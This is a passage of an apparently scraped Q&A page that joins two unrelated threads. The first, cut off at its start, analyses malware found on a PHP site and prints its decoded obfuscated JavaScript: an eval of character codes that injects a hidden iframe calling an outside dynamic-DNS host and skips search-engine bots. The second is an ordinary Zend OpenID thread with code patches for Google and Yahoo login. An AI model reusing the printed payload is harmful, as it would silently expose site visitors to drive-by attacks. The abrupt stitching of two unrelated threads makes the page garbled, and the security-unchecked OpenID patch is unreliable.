PScnO2c9J2YnKydybycrJ21DaCcrJ2FyJysnQ29kJysnZSc7Zm9yKGk9MDtpLXcubGVuZ3RoPDA7aSsrKXtzPXMrU3RyaW5nW2ddKDM5K3dbMCtpXSk7fQppZihhPT09YWEpCmUoJ2UnKycoJysncycrJyknKTs8L3NjcmlwdD4='));
}
The second base64 decode gives this:
<script>if(window.document)a=("v532b5".split+Date).substr(0,6);aa=([].reverse+[].reverse).substr(0,6);if(aa===a)
f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,-7,76,75,60,22,0,65,77,77,73,19,8,8,68,83,68,70,82,71,63,7,83,82,71,76,7,60,72,70,8,61,8,13,9,13,7,73,65,73,24,64,72,22,10,0,-7,80,66,61,77,65,22,0,10,9,0,-7,65,62,66,64,65,77,22,0,10,9,0,-7,76,77,82,69,62,22,0,79,66,76,66,59,66,69,66,77,82,19,65,66,61,61,62,71,20,73,72,76,66,77,66,72,71,19,58,59,76,72,69,78,77,62,20,69,62,63,77,19,9,20,77,72,73,19,9,20,0,23,21,8,66,63,75,58,70,62,23,-5,2,20,-30,-30,86,-30,-30,63,78,71,60,77,66,72,71,-7,66,63,75,58,70,62,75,1,2,84,-30,-30,-30,79,58,75,-7,63,-7,22,-7,61,72,60,78,70,62,71,77,7,60,75,62,58,77,62,30,69,62,70,62,71,77,1,0,66,63,75,58,70,62,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,76,75,60,0,5,0,65,77,77,73,19,8,8,68,83,68,70,82,71,63,7,83,82,71,76,7,60,72,70,8,61,8,13,9,13,7,73,65,73,24,64,72,22,10,0,2,20,63,7,76,77,82,69,62,7,79,66,76,66,59,66,69,66,77,82,22,0,65,66,61,61,62,71,0,20,63,7,76,77,82,69,62,7,73,72,76,66,77,66,72,71,22,0,58,59,76,72,69,78,77,62,0,20,63,7,76,77,82,69,62,7,69,62,63,77,22,0,9,0,20,63,7,76,77,82,69,62,7,77,72,73,22,0,9,0,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,80,66,61,77,65,0,5,0,10,9,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,65,62,66,64,65,77,0,5,0,10,9,0,2,20,-30,-30,-30,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,7,58,73,73,62,71,61,28,65,66,69,61,1,63,2,20,-30,-30,86];md='a';e=window.eval;w=f;s='';g='f'+'ro'+'mCh'+'ar'+'Cod'+'e';for(i=0;i-w.length<0;i++){s=s+String[g](39+w[0+i]);}
if(a===aa)
e('e'+'('+'s'+')');</script>
If it finds that the HTTP_USER_AGENT contains any of those sites, it sets $bot = true; If nothing is found, as in !$bot, then it prints out that javascript.
The resulting iframe is this:
<iframe src="http://kzkmynf.zyns.com/d/404.php?go=1" width="10" height="10" style="visibility:hidden;position:absolute;left:0;top:0;"></iframe>
All that JavaScript is there to generate the iframe, which ends up going to a 404. So in effect this has no effect but to create a dead invisible iframe. Even more mysterious, http://zyns.com/ is a domain name registrar for free domain names, and the subdomain doesn't exist but gives no 404 itself. A whois on the registrar gives this:
Registrant:
ChangeIP.com
c/o Dynamic DNS Provider
P.O. Box 2333
San Marcos, CA 92079
US
Domain Name: ZYNS.COM
Administrative Contact, Technical Contact:
ChangeIP.com NSI#ChangeIP.com
c/o Dynamic DNS Provider
P.O. Box 2333
San Marcos, CA 92079
US
800-791-3367 fax: 760-621-0116
It seems ChangeIP.com owns ZYNS.COM, and some anonymous user created that subdomain and posted this malicious code.
I would remove it...
Dang, I was just about to post when Aram got there first :-)
I would assume that at least everything in your web directory is now suspect, if not on the whole server. Removing the code is a good idea, but the real question is how they got it in there and what else they put in there and where ... much harder to answer.

How do I implement Direct Identity based OpenID authentication with Zend OpenID

I'm using the Zend framework and the openid selector from http://code.google.com/p/openid-selector/ - however I find I can't login using sites like Google and Yahoo as they use direct identity based login system whereby one is just redirected to a url as opposed to entering a unique url of their own for authentication.
I've checked out many options and hacks but none of them seem to work. How can i get this to work here btw - how is it implemented at stack overflow? I could really use all the help here guys..
Edit
Well the issue here is that from what I have noticed is that the Zend OpenID class doesn't support OpenID 2.0 the thing is that a typical open ID providor gives you a unique url such as your-name.openid-providor.com or openid-providor.com/your-name and the Zend OpenId class just parses through that url and then redirects you to the providor website where upon authentication you are redirected back.
In the case of Yahoo and google - you don't enter a unique url instead you are redirected to the providors login site and upon login and authentication you are redirected back - so basically whats happeining is that the zend_openID object when it parses to tell who the providor is it fails to tell from the general url itself. Like when you click on teh Google link it redirects you to https://www.google.com/accounts/o8/id
Its more an issue with the zend openid object here and there isn't any help on zend related forums - so I was wondering if someone had already hacked or had an alteration I could make to the class to accomplish this. Sorry if I'm missing something but I'm kinda new to this and programming with open ID and have just started to get my feet wet.
Thanks for the follow up - I did check into RPX a while back and they do have a php class but I wasnt able to check it out plus I really just want to for now get the code selector used as on stackoverflow to work with Yahoo and Google authentication. There has to be some kind of way to tweak the parsing which the Zend OpenID class uses as it runs a series of regular expression checks to make a discovery.
Little late to the game but I was able to get this working with some hacks I found around the interwebs.
First. Yahoo. To get Yahoo working all I had to do was change the JavaScript to use me.yahoo.com instead of just yahoo.com and it worked perfectly with the version of the Zend Framework I'm using. Unfortunately Google still wasn't, so some hacking was in order.
All of these changes go in Zend/OpenId/Consumer.php
First, in the _discovery method add the following on the series of preg_match checks that starts at around line 740.
} else if (preg_match('/<URI>([^<]+)<\/URI>/i', $response, $r)) {
$version = 2.0;
$server = $r[1];
I added this right before the return false; statement that's in the else {} block.
Second, in the _checkId method you'll need to add 3 new blocks (I haven't dug around enough to know what causes each of these three cases to be called, so I covered all to be on the safe side.
Inside the $version <= 2.0 block, you'll find an if/else if/else block. In the first if statement ($this->_session !== null) add this to the end:
if ($server == 'https://www.google.com/accounts/o8/ud') {
$this->_session->identity = 'http://specs.openid.net/auth/2.0/identifier_select';
$this->_session->claimed_id = 'http://specs.openid.net/auth/2.0/identifier_select';
}
In the else if (defined('SID') block add this to the end:
if ($server == 'https://www.google.com/accounts/o8/ud') {
$_SESSION['zend_openid']['identity'] = 'http://specs.openid.net/auth/2.0/identifier_select';
$_SESSION['zend_openid']['claimed_id'] = 'http://specs.openid.net/auth/2.0/identifier_select';
}
And then after the else block (so outside the if/else if/else block all together, but still inside the $version <= 2.0 block) add this:
if ($server == 'https://www.google.com/accounts/o8/ud') {
$params['openid.identity'] = 'http://specs.openid.net/auth/2.0/identifier_select';
$params['openid.claimed_id'] = 'http://specs.openid.net/auth/2.0/identifier_select';
}
Link to the bug in Zend Framework Issue Tracker
I need to use Google's OpenID stuff, and I tried Steven's code and couldn't get it to work as-is. I've made some modifications.
The _discovery change method is still the same:
Zend/OpenId/Consumer.php, line 765, add:
} else if (preg_match('/<URI>([^<]+)<\/URI>/i', $response, $r)) {
$version = 2.0;
$server = $r[1];
The rest is different, though:
Zend/OpenId/Consumer.php, line 859 (after making the above change), add:
if (stristr($server, 'https://www.google.com/') !== false) {
$id = 'http://specs.openid.net/auth/2.0/identifier_select';
$claimedId = 'http://specs.openid.net/auth/2.0/identifier_select';
}
This is right before:
$params['openid.identity'] = $id;
$params['openid.claimed_id'] = $claimedId;
And to get it to return the ID, once authorized:
Zend/Auth/Adapter/OpenId.php, line 278:
if(isset($_REQUEST['openid_identity']))
{
$this->_id = $_REQUEST['openid_identity'];
$id = $this->_id;
}
This is right before:
return new Zend_Auth_Result(
Zend_Auth_Result::SUCCESS,
$id,
array("Authentication successful"));
Note that I have not thoroughly tested this code. The code below is even more shakey.
I have spent more time and I've gotten it to work with my Google Apps domain with the following changes, in addition to the above:
Zend/OpenId/Consumer.php, line 734
$discovery_url = $id;
if(strpos($discovery_url, '/', strpos($discovery_url, '//')+2) !== false) {
$discovery_url = substr($discovery_url, 0, strpos($discovery_url, '/', strpos($discovery_url, '//')+2));
}
$discovery_url .= '/.well-known/host-meta';
$response = $this->_httpRequest($discovery_url, 'GET', array(), $status);
if ($status === 200 && is_string($response)) {
if (preg_match('/Link: <([^><]+)>/i', $response, $r)) {
$id = $r[1];
}
}
This is right after:
/* TODO: OpenID 2.0 (7.3) XRI and Yadis discovery */
I believe that was the only change I had to make. I'm pretty sure there's supposed to be some checking involved with the above for security reasons, but I haven't looked far enough into it to see what they would be.
Going over all the advice provided - I've decided to ditch using the zend_openid class [ sorry about that zend ] and instead I've switched to using JanRains OpenID library. Its taken a few hours to get it up and running with my project but atleast its working like a breeze. Had to make a lot of hacking and a bit of code spill over to get it working but its worth it.
I couldn't use any of Zend adapters with Zend-Auth to settle this new code library in as the library did the authentication on its own. SO I hacked and made a generic adapter that just returned a filled zend_result set to the Auth object thus I authenticate using my library and merely store the result in the Auth object pulling a bit of a fast one one the Zend-Auth object rather than have to rewrite my code again.
The library is available at http://openidenabled.com/php-openid/
Thanks for all the help guys.
I'm dealing with similar issues. I'm planning on using RPX now with Zend Framework. Maybe I'll write an adapter. Just to let you know.
Info: 'RPS now' provides an all-in-one interface and UI for user registration with
facebook
Google
Yahoo
mySpaceID
Windows LiveID
OpenID
aol
I'm pretty sure that Yahoo only works with OpenID 2.0. If you want to support Yahoo users, you're going to have to upgrade to a library with 2.0 support. That's going to be a matter of more than tweaking some parsing.
Did you check out the manual -- Zend_OpenId_Consumer basics? Check out 38.2.2 on that page and let me know if this helps, because it should.
Specifically, I don't know if Google offers OpenID. I know that Yahoo worked because I've tried it a while back.
Thanks for the information. I started by using JanRain's library, but I have problems with getting Simple Registration to work: I have not succeeded in getting any data that way. And there is no documentation on using Attribute Exchange. :(
So, I found and was trying Zend/OpenId, but had the same problem as you: no Yahoo!, Google and who knows what else support. Reading this, it seems I'll have to get back to JanRain; RPX is not an option in my case as it's a third party service.

Categories